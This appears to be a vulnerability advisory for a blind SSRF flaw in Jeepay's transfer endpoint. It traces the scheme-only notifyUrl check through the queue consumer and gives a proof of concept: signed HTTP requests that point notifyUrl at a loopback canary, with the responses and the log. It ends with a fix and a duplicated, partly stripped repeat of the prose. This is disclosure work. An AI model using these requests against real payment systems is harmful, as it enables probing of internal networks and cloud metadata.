Summary
Jeepay contains a blind SSRF vulnerability in the transfer endpoint POST /api/transferOrder, where the merchant-controlled notifyUrl is validated only by its HTTP(S) scheme and later used by the asynchronous notification service to send server-side HTTP requests, allowing attackers with merchant signing privileges to access loopback, private-network, link-local, cloud-metadata, and other internal services from the payment container.
Root Cause
The source is the signed merchant transfer request. TransferOrderController reads TransferOrderRQ.notifyUrl and performs a protocol check before the transfer is created:
// jeepay-payment/src/main/java/com/jeequan/jeepay/pay/ctrl/transfer/TransferOrderController.java:65-87
if(StringUtils.isNotEmpty(bizRQ.getNotifyUrl()) && !StringKit.isAvailableUrl(bizRQ.getNotifyUrl())){
throw new BizException("异步通知地址协议仅支持http:// 或 https:// !");
}
The helper used by this check is only a scheme check:
// jeepay-core/src/main/java/com/jeequan/jeepay/core/utils/StringKit.java:89-97
public static boolean isAvailableUrl(String url){
if(StringUtils.isEmpty(url)){
return false;
}
return url.startsWith("http://") || url.startsWith("https://");
}
Thus a URL such as http://127.0.0.1:28081/... passes validation. After the transfer is processed, PayMchNotifyService.transferOrderNotify() stores the notification destination and places its record ID on the message queue:
// jeepay-payment/src/main/java/com/jeequan/jeepay/pay/service/PayMchNotifyService.java:175-198
mchNotifyRecord.setNotifyUrl(notifyUrl);
mchNotifyRecord.setState(MchNotifyRecord.STATE_ING);
mchNotifyRecordService.save(mchNotifyRecord);
Long notifyId = mchNotifyRecord.getNotifyId();
mqSender.send(PayOrderMchNotifyMQ.build(notifyId));
The queue consumer is the actual network sink:
// jeepay-payment/src/main/java/com/jeequan/jeepay/pay/mq/PayOrderMchNotifyMQReceiver.java:72-83
String host = notifyUrl.split("\\?")[0];
Map bodyMap = HttpUtil.decodeParamMap(notifyUrl, CharsetUtil.CHARSET_UTF_8);
res = HttpUtil.post(host, bodyMap, 20000);
The complete flow is:
signed POST /api/transferOrder
-> TransferOrderRQ.notifyUrl
-> scheme-only StringKit.isAvailableUrl()
-> TransferOrder is saved
-> PayMchNotifyService creates MchNotifyRecord.notifyUrl
-> MQ notification message
-> PayOrderMchNotifyMQReceiver
-> HttpUtil.post(attacker-controlled host, callback parameters)
POC
- The Canary listened on
127.0.0.1:28081 inside the payment container network namespace.
Canary A: submit the transfer order
Request
POST /api/transferOrder HTTP/1.1
Host: localhost:37889
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 413
{"version":"1.0","signType":"MD5","reqTime":"1785922603717","mchNo":"MFC100001","appId":"APPFC100001","mchOrderNo":"RERUN-SSRF001-A-202608051740","ifCode":"wxpay","entryType":"WX_CASH","amount":1,"currency":"cny","accountNo":"oSSRF001","accountName":"SSRF Test","transferDesc":"authorized SSRF validation retry","notifyUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-001-A","sign":"7F69A9565778E4CDE8DFF8C993736391"}
Response
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json;charset=UTF-8
Content-Length: 307
Date: Wed, 05 Aug 2026 09:36:43 GMT
{"code":0,"data":{"accountName":"SSRF Test","accountNo":"oSSRF001","amount":1,"errMsg":"请确保证书文件地址【privateKeyPath】或者内容已配置","mchOrderNo":"RERUN-SSRF001-A-202608051740","state":3,"transferId":"T2084936631264141314"},"msg":"SUCCESS","sign":"5432F2F641AA0C063E15B3ED7D888589"}
Canary B: submit the transfer order
Request
POST /api/transferOrder HTTP/1.1
Host: localhost:37889
User-Agent: curl/7.81.0
Accept: */*
Content-Type: application/json
Content-Length: 413
{"version":"1.0","signType":"MD5","reqTime":"1785922603764","mchNo":"MFC100001","appId":"APPFC100001","mchOrderNo":"RERUN-SSRF001-B-202608051741","ifCode":"wxpay","entryType":"WX_CASH","amount":1,"currency":"cny","accountNo":"oSSRF001","accountName":"SSRF Test","transferDesc":"authorized SSRF validation retry","notifyUrl":"http://127.0.0.1:28081/poc/jeepay_SSRF-001-B","sign":"F91D5A38A443A2CE1808D52DBCF8E251"}
Response
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json;charset=UTF-8
Content-Length: 307
Date: Wed, 05 Aug 2026 09:36:43 GMT
{"code":0,"data":{"accountName":"SSRF Test","accountNo":"oSSRF001","amount":1,"errMsg":"请确保证书文件地址【privateKeyPath】或者内容已配置","mchOrderNo":"RERUN-SSRF001-B-202608051741","state":3,"transferId":"T2084936631515799553"},"msg":"SUCCESS","sign":"988CAC75C33D441E0FA07C82687CA37E"}
Canary Log
POST /poc/jeepay_SSRF-001-A
source: 127.0.0.1
body: ifCode=wxpay&entryType=WX_CASH&amount=1&accountName=SSRF+Test&mchOrderNo=RERUN-SSRF001-A-202608051740&errMsg=%E8%AF%B7%E7%A1%AE%E4%BF%9D%E8%AF%81%E4%B9%A6%E6%96%87%E4%BB%B6%E5%9C%B0%E5%9D%80%E3%80%90privateKeyPath%E3%80%91%E6%88%96%E8%80%85%E5%86%85%E5%AE%B9%E5%B7%B2%E9%85%8D%E7%BD%AE&sign=F2F591EFDD7C3E672D705027DAE70E05&transferDesc=authorized+SSRF+validation+retry&reqTime=1785922603818&transferId=T2084936631264141314&createdAt=1785922603800&accountNo=oSSRF001&appId=APPFC100001¤cy=cny&state=3&mchNo=MFC100001
POST /poc/jeepay_SSRF-001-B
source: 127.0.0.1
body: ifCode=wxpay&entryType=WX_CASH&amount=1&accountName=SSRF+Test&mchOrderNo=RERUN-SSRF001-B-202608051741&errMsg=%E8%AF%B7%E7%A1%AE%E4%BF%9D%E8%AF%81%E4%B9%A6%E6%96%87%E4%BB%B6%E5%9C%B0%E5%9D%80%E3%80%90privateKeyPath%E3%80%91%E6%88%96%E8%80%85%E5%86%85%E5%AE%B9%E5%B7%B2%E9%85%8D%E7%BD%AE&sign=8F019198505FA1B7D5FCF79D61736560&transferDesc=authorized+SSRF+validation+retry&reqTime=1785922603879&transferId=T2084936631515799553&createdAt=1785922603860&accountNo=oSSRF001&appId=APPFC100001¤cy=cny&state=3&mchNo=MFC100001
Impact
The payment service can be induced to send HTTP requests from its network position to loopback and other reachable internal services.
Suggested Fix
Parse and resolve the destination before every request, reject loopback/private/link-local/multicast/metadata ranges after DNS resolution and again after connection, and enforce an explicit outbound allowlist with redirect restrictions. Apply the same policy to all notification URL fields and retain bounded timeouts.
Summary
Jeepay contains a blind SSRF vulnerability in the transfer endpoint
POST /api/transferOrder, where the merchant-controllednotifyUrlis validated only by its HTTP(S) scheme and later used by the asynchronous notification service to send server-side HTTP requests, allowing attackers with merchant signing privileges to access loopback, private-network, link-local, cloud-metadata, and other internal services from the payment container.Root Cause
The source is the signed merchant transfer request.
TransferOrderControllerreadsTransferOrderRQ.notifyUrland performs a protocol check before the transfer is created:The helper used by this check is only a scheme check:
Thus a URL such as
http://127.0.0.1:28081/...passes validation. After the transfer is processed,PayMchNotifyService.transferOrderNotify()stores the notification destination and places its record ID on the message queue:The queue consumer is the actual network sink:
The complete flow is:
POC
127.0.0.1:28081inside the payment container network namespace.Canary A: submit the transfer order
Request
Response
Canary B: submit the transfer order
Request
Response
Canary Log
Impact
The payment service can be induced to send HTTP requests from its network position to loopback and other reachable internal services.
Suggested Fix
Parse and resolve the destination before every request, reject loopback/private/link-local/multicast/metadata ranges after DNS resolution and again after connection, and enforce an explicit outbound allowlist with redirect restrictions. Apply the same policy to all notification URL fields and retain bounded timeouts.